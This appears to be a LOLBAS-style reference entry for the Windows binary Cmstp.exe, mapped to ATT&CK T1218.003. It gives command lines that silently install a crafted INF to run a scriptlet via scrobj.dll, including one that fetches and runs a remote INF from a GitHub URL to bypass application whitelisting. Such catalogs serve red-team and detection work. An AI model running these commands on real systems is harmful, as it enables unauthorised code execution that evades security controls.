.. /Cmstp.exe
Star

Execute (INF)
AWL bypass (INF)

Installs or removes a Connection Manager service profile.


Paths:

Resources:
Acknowledgements:

Detection:

Execute

  1. Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.

    cmstp.exe /ni /s c:\cmstp\CorpVPN.inf
    Use case
    Execute code hidden within an inf file. Download and run scriptlets from internet.
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.003
    Tags
    Input: INF
    This function was tagged with "Input: INF".

AWL bypass

  1. Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.

    cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf
    Use case
    Execute code hidden within an inf file. Execute code directly from Internet.
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
    ATT&CK® technique
    T1218.003
    Tags
    Input: INF
    This function was tagged with "Input: INF".